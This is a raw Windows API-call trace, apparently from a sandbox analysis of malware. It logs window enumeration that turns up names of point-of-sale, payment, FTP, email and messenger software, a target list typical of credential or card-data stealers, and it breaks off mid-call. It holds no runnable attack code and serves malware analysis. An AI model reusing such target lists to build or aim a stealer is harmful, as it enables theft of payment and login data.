[0132.306] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.306] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.306] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.306] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.306] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.306] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.306] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.307] EnumWindows (lpEnumFunc=0x30aed4, lParam=0x375500) returned 1 [0132.308] GetWindowTextW (in: hWnd=0x10132, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.309] GetClassNameW (in: hWnd=0x10132, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0132.309] GetWindowTextW (in: hWnd=0x10104, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.309] GetClassNameW (in: hWnd=0x10104, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0132.309] GetWindowTextW (in: hWnd=0x100d4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.310] GetClassNameW (in: hWnd=0x100d4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.310] GetWindowTextW (in: hWnd=0x100ae, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.310] GetClassNameW (in: hWnd=0x100ae, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.311] GetWindowTextW (in: hWnd=0x100b2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.311] GetClassNameW (in: hWnd=0x100b2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.311] GetWindowTextW (in: hWnd=0x100be, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.311] GetClassNameW (in: hWnd=0x100be, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.311] GetWindowTextW (in: hWnd=0x100c8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.312] GetClassNameW (in: hWnd=0x100c8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.321] GetWindowTextW (in: hWnd=0x100cc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.321] GetClassNameW (in: hWnd=0x100cc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.321] GetWindowTextW (in: hWnd=0x10090, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.322] GetClassNameW (in: hWnd=0x10090, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.322] GetWindowTextW (in: hWnd=0x1009e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.322] GetClassNameW (in: hWnd=0x1009e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.322] GetWindowTextW (in: hWnd=0x100c6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.322] GetClassNameW (in: hWnd=0x100c6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.323] GetWindowTextW (in: hWnd=0x10084, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.323] GetClassNameW (in: hWnd=0x10084, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Shell_TrayWnd") returned 13 [0132.323] GetWindowTextW (in: hWnd=0x101de, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Network Flyout") returned 14 [0132.323] GetClassNameW (in: hWnd=0x101de, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ATL:00007FFFDA284120") returned 20 [0132.324] GetWindowTextW (in: hWnd=0x100de, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.324] GetClassNameW (in: hWnd=0x100de, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.324] GetWindowTextW (in: hWnd=0x100d6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.324] GetClassNameW (in: hWnd=0x100d6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0132.324] GetWindowTextW (in: hWnd=0x20304, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.325] GetClassNameW (in: hWnd=0x20304, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0132.325] GetWindowTextW (in: hWnd=0x20208, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.326] GetClassNameW (in: hWnd=0x20208, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.326] GetWindowTextW (in: hWnd=0x3007a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.326] GetClassNameW (in: hWnd=0x3007a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.327] GetWindowTextW (in: hWnd=0x3002c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.327] GetClassNameW (in: hWnd=0x3002c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.327] GetWindowTextW (in: hWnd=0x2013a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0132.327] GetClassNameW (in: hWnd=0x2013a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IEFrame") returned 7 [0132.327] GetWindowTextW (in: hWnd=0x70102, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.327] GetClassNameW (in: hWnd=0x70102, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.328] GetWindowTextW (in: hWnd=0x202a0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.328] GetClassNameW (in: hWnd=0x202a0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="VSyncHelper-08175010-8cd0474") returned 28 [0132.328] GetWindowTextW (in: hWnd=0x30234, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0132.328] GetClassNameW (in: hWnd=0x30234, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0132.328] GetWindowTextW (in: hWnd=0x20284, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.328] GetClassNameW (in: hWnd=0x20284, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.328] GetWindowTextW (in: hWnd=0x2026e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.329] GetClassNameW (in: hWnd=0x2026e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0132.329] GetWindowTextW (in: hWnd=0x20372, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.329] GetClassNameW (in: hWnd=0x20372, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.329] GetWindowTextW (in: hWnd=0x20250, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.329] GetClassNameW (in: hWnd=0x20250, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="VSyncHelper-0519A538-87b8549") returned 28 [0132.329] GetWindowTextW (in: hWnd=0x4012a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0132.329] GetClassNameW (in: hWnd=0x4012a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0132.329] GetWindowTextW (in: hWnd=0x202dc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.330] GetClassNameW (in: hWnd=0x202dc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.330] GetWindowTextW (in: hWnd=0x202fe, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.330] GetClassNameW (in: hWnd=0x202fe, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.330] GetWindowTextW (in: hWnd=0x202b2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.330] GetClassNameW (in: hWnd=0x202b2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.330] GetWindowTextW (in: hWnd=0x30036, lpString=0xbdead8, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0132.331] GetClassNameW (in: hWnd=0x30036, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0132.331] GetWindowTextW (in: hWnd=0x10360, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.331] GetClassNameW (in: hWnd=0x10360, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.331] GetWindowTextW (in: hWnd=0x10350, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Spgagentservice") returned 15 [0132.331] GetClassNameW (in: hWnd=0x10350, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="spgagentserviceclass") returned 20 [0132.331] GetWindowTextW (in: hWnd=0x1034c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Thank Clearly") returned 13 [0132.331] GetClassNameW (in: hWnd=0x1034c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Thank_clearly_cls") returned 17 [0132.331] GetWindowTextW (in: hWnd=0x10348, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Learn Get") returned 9 [0132.331] GetClassNameW (in: hWnd=0x10348, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Learn_get_") returned 10 [0132.332] GetWindowTextW (in: hWnd=0x1032c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Spcwin") returned 6 [0132.332] GetClassNameW (in: hWnd=0x1032c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="spcwinwindow") returned 12 [0132.332] GetWindowTextW (in: hWnd=0x10342, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Hair Federal") returned 12 [0132.332] GetClassNameW (in: hWnd=0x10342, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="hairFederalcls") returned 14 [0132.332] GetWindowTextW (in: hWnd=0x10338, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Education") returned 9 [0132.332] GetClassNameW (in: hWnd=0x10338, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Educationwnd") returned 12 [0132.332] GetWindowTextW (in: hWnd=0x10336, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Utg2") returned 4 [0132.332] GetClassNameW (in: hWnd=0x10336, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="utg2_win") returned 8 [0132.333] GetWindowTextW (in: hWnd=0x10324, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Mxslipstream") returned 12 [0132.333] GetClassNameW (in: hWnd=0x10324, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="mxslipstream_class") returned 18 [0132.333] GetWindowTextW (in: hWnd=0x1030e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Creditservice") returned 13 [0132.333] GetClassNameW (in: hWnd=0x1030e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="creditservice_") returned 14 [0132.333] GetWindowTextW (in: hWnd=0x10326, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Omnipos") returned 7 [0132.333] GetClassNameW (in: hWnd=0x10326, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="omniposwindow") returned 13 [0132.333] GetWindowTextW (in: hWnd=0x10318, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Fpos") returned 4 [0132.333] GetClassNameW (in: hWnd=0x10318, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="fpos_window") returned 11 [0132.334] GetWindowTextW (in: hWnd=0x10310, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Edcsvr") returned 6 [0132.334] GetClassNameW (in: hWnd=0x10310, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="edcsvrapp") returned 9 [0132.334] GetWindowTextW (in: hWnd=0x1031a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Isspos") returned 6 [0132.334] GetClassNameW (in: hWnd=0x1031a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="isspos_win") returned 10 [0132.334] GetWindowTextW (in: hWnd=0x10300, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Ccv_Server") returned 10 [0132.334] GetClassNameW (in: hWnd=0x10300, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ccv_serverwin") returned 13 [0132.334] GetWindowTextW (in: hWnd=0x102f2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Afr38") returned 5 [0132.334] GetClassNameW (in: hWnd=0x102f2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="afr38wnd") returned 8 [0132.334] GetWindowTextW (in: hWnd=0x10306, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Centralcreditcard") returned 17 [0132.335] GetClassNameW (in: hWnd=0x10306, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="centralcreditcard_wnd") returned 21 [0132.335] GetWindowTextW (in: hWnd=0x102f6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Aldelo") returned 6 [0132.335] GetClassNameW (in: hWnd=0x102f6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="aldelowindow") returned 12 [0132.335] GetWindowTextW (in: hWnd=0x102ee, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Accupos") returned 7 [0132.335] GetClassNameW (in: hWnd=0x102ee, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="accupos_") returned 8 [0132.335] GetWindowTextW (in: hWnd=0x102e8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Active-Charge") returned 13 [0132.335] GetClassNameW (in: hWnd=0x102e8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="active-chargewin") returned 16 [0132.335] GetWindowTextW (in: hWnd=0x102e6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Yahoomessenger") returned 14 [0132.335] GetClassNameW (in: hWnd=0x102e6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="yahoomessengerwindow") returned 20 [0132.336] GetWindowTextW (in: hWnd=0x102d8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Whatsapp") returned 8 [0132.336] GetClassNameW (in: hWnd=0x102d8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="whatsapp_cls") returned 12 [0132.336] GetWindowTextW (in: hWnd=0x102e0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Winscp") returned 6 [0132.336] GetClassNameW (in: hWnd=0x102e0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="winscp_app") returned 10 [0132.336] GetWindowTextW (in: hWnd=0x102d6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Webdrive") returned 8 [0132.336] GetClassNameW (in: hWnd=0x102d6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="webdriveapp") returned 11 [0132.336] GetWindowTextW (in: hWnd=0x102d2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Trillian") returned 8 [0132.336] GetClassNameW (in: hWnd=0x102d2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="trillianwin") returned 11 [0132.336] GetWindowTextW (in: hWnd=0x102aa, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Smartftp") returned 8 [0132.337] GetClassNameW (in: hWnd=0x102aa, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="smartftpwnd") returned 11 [0132.337] GetWindowTextW (in: hWnd=0x102b0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Skype") returned 5 [0132.337] GetClassNameW (in: hWnd=0x102b0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="skype_wnd") returned 9 [0132.337] GetWindowTextW (in: hWnd=0x102ac, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Thunderbird") returned 11 [0132.337] GetClassNameW (in: hWnd=0x102ac, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="thunderbird_wnd") returned 15 [0132.337] GetWindowTextW (in: hWnd=0x1029c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Scriptftp") returned 9 [0132.337] GetClassNameW (in: hWnd=0x1029c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="scriptftpapp") returned 12 [0132.337] GetWindowTextW (in: hWnd=0x10292, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Outlook") returned 7 [0132.338] GetClassNameW (in: hWnd=0x10292, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="outlookwindow") returned 13 [0132.338] GetWindowTextW (in: hWnd=0x10294, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Pidgin") returned 6 [0132.338] GetClassNameW (in: hWnd=0x10294, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="pidgin_cls") returned 10 [0132.338] GetWindowTextW (in: hWnd=0x10286, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Notepad") returned 7 [0132.338] GetClassNameW (in: hWnd=0x10286, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="notepad") returned 7 [0132.338] GetWindowTextW (in: hWnd=0x10288, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Operamail") returned 9 [0132.338] GetClassNameW (in: hWnd=0x10288, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="operamail_window") returned 16 [0132.338] GetWindowTextW (in: hWnd=0x1027e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Ncftp") returned 5 [0132.338] GetClassNameW (in: hWnd=0x1027e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ncftp_win") returned 9 [0132.339] GetWindowTextW (in: hWnd=0x10274, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Icq") returned 3 [0132.339] GetClassNameW (in: hWnd=0x10274, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="icq_class") returned 9 [0132.339] GetWindowTextW (in: hWnd=0x10272, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Gmailnotifierpro") returned 16 [0132.339] GetClassNameW (in: hWnd=0x10272, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="gmailnotifierprowindow") returned 22 [0132.339] GetWindowTextW (in: hWnd=0x1026a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Foxmailincmail") returned 14 [0132.339] GetClassNameW (in: hWnd=0x1026a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="foxmailincmailwin") returned 17 [0132.339] GetWindowTextW (in: hWnd=0x10252, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Far") returned 3 [0132.340] GetClassNameW (in: hWnd=0x10252, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="farcls") returned 6 [0132.340] GetWindowTextW (in: hWnd=0x1024c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Bitkinex") returned 8 [0132.340] GetClassNameW (in: hWnd=0x1024c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="bitkinex") returned 8 [0132.340] GetWindowTextW (in: hWnd=0x1023e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Alftp") returned 5 [0132.340] GetClassNameW (in: hWnd=0x1023e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="alftp_class") returned 11 [0132.340] GetWindowTextW (in: hWnd=0x10238, lpString=0xbdead8, nMaxCount=1024 | out: lpString="3Dftp") returned 5 [0132.340] GetClassNameW (in: hWnd=0x10238, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="3dftp") returned 5 [0132.340] GetWindowTextW (in: hWnd=0x10266, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Fling") returned 5 [0132.340] GetClassNameW (in: hWnd=0x10266, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="fling_window") returned 12 [0132.341] GetWindowTextW (in: hWnd=0x1027a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Leechftp") returned 8 [0132.341] GetClassNameW (in: hWnd=0x1027a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="leechftpwnd") returned 11 [0132.341] GetWindowTextW (in: hWnd=0x1025e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Filezilla") returned 9 [0132.341] GetClassNameW (in: hWnd=0x1025e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="filezilla_wnd") returned 13 [0132.341] GetWindowTextW (in: hWnd=0x10236, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Institution Big Direction") returned 25 [0132.341] GetClassNameW (in: hWnd=0x10236, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="InstitutionBigDirection") returned 23 [0132.341] GetWindowTextW (in: hWnd=0x10260, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Flashfxp") returned 8 [0132.341] GetClassNameW (in: hWnd=0x10260, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="flashfxpwnd") returned 11 [0132.342] GetWindowTextW (in: hWnd=0x10254, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Coreftp") returned 7 [0132.342] GetClassNameW (in: hWnd=0x10254, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="coreftp_wnd") returned 11 [0132.342] GetWindowTextW (in: hWnd=0x1024a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Barca") returned 5 [0132.342] GetClassNameW (in: hWnd=0x1024a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="barcaclass") returned 10 [0132.342] GetWindowTextW (in: hWnd=0x10226, lpString=0xbdead8, nMaxCount=1024 | out: lpString="For Receive") returned 11 [0132.342] GetClassNameW (in: hWnd=0x10226, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Forreceiveapp") returned 13 [0132.342] GetWindowTextW (in: hWnd=0x1021c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Behind Town") returned 11 [0132.342] GetClassNameW (in: hWnd=0x1021c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Behind_town_window") returned 18 [0132.342] GetWindowTextW (in: hWnd=0x10240, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Absolutetelnet") returned 14 [0132.343] GetClassNameW (in: hWnd=0x10240, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="absolutetelnet_class") returned 20 [0132.343] GetWindowTextW (in: hWnd=0x10218, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Particular Crime") returned 16 [0132.343] GetClassNameW (in: hWnd=0x10218, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="particularCrimeclass") returned 20 [0132.343] GetWindowTextW (in: hWnd=0x1022c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Meet Seat Sometimes") returned 19 [0132.343] GetClassNameW (in: hWnd=0x1022c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="MeetseatSometimeswindow") returned 23 [0132.343] GetWindowTextW (in: hWnd=0x10224, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Private Perform Born") returned 20 [0132.343] GetClassNameW (in: hWnd=0x10224, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Private_Perform_Born_") returned 21 [0132.343] GetWindowTextW (in: hWnd=0x1020a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Arm Already Outside") returned 19 [0132.344] GetClassNameW (in: hWnd=0x1020a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Arm_already_outside_win") returned 23 [0132.344] GetWindowTextW (in: hWnd=0x10202, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Big") returned 3 [0132.344] GetClassNameW (in: hWnd=0x10202, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="big_window") returned 10 [0132.344] GetWindowTextW (in: hWnd=0x1021e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Player Pay Half") returned 15 [0132.344] GetClassNameW (in: hWnd=0x1021e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="playerpayhalfwindow") returned 19 [0132.344] GetWindowTextW (in: hWnd=0x10216, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Sea Travel Style") returned 16 [0132.344] GetClassNameW (in: hWnd=0x10216, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Sea_Travel_style_cls") returned 20 [0132.344] GetWindowTextW (in: hWnd=0x10200, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Magazine") returned 8 [0132.344] GetClassNameW (in: hWnd=0x10200, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="magazine_app") returned 12 [0132.345] GetWindowTextW (in: hWnd=0x10204, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Production Tend") returned 15 [0132.345] GetClassNameW (in: hWnd=0x10204, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="productiontendcls") returned 17 [0132.345] GetWindowTextW (in: hWnd=0x301f6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Painting") returned 8 [0132.345] GetClassNameW (in: hWnd=0x301f6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="paintingcls") returned 11 [0132.345] GetWindowTextW (in: hWnd=0x201fa, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Better") returned 6 [0132.345] GetClassNameW (in: hWnd=0x201fa, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Betterclass") returned 11 [0132.345] GetWindowTextW (in: hWnd=0x30032, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Run Service Who") returned 15 [0132.345] GetClassNameW (in: hWnd=0x30032, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Run_service_Who_") returned 16 [0132.346] GetWindowTextW (in: hWnd=0x3001c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.346] GetClassNameW (in: hWnd=0x3001c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.346] GetWindowTextW (in: hWnd=0x20142, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.346] GetClassNameW (in: hWnd=0x20142, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0132.346] GetWindowTextW (in: hWnd=0x2013e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.346] GetClassNameW (in: hWnd=0x2013e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0132.346] GetWindowTextW (in: hWnd=0x20140, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.346] GetClassNameW (in: hWnd=0x20140, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.346] GetWindowTextW (in: hWnd=0x2008a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.347] GetClassNameW (in: hWnd=0x2008a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.347] GetWindowTextW (in: hWnd=0x60046, lpString=0xbdead8, nMaxCount=1024 | out: lpString="AutoIt v3") returned 9 [0132.347] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0xd, wParam=0x400, lParam=0xbdead8) returned 0x9 [0132.347] GetClassNameW (in: hWnd=0x60046, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="AutoIt v3") returned 9 [0132.347] GetWindowTextW (in: hWnd=0x702ec, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.347] GetClassNameW (in: hWnd=0x702ec, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.347] GetWindowTextW (in: hWnd=0x101e8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="MS_WebcheckMonitor") returned 18 [0132.347] GetClassNameW (in: hWnd=0x101e8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0132.347] GetWindowTextW 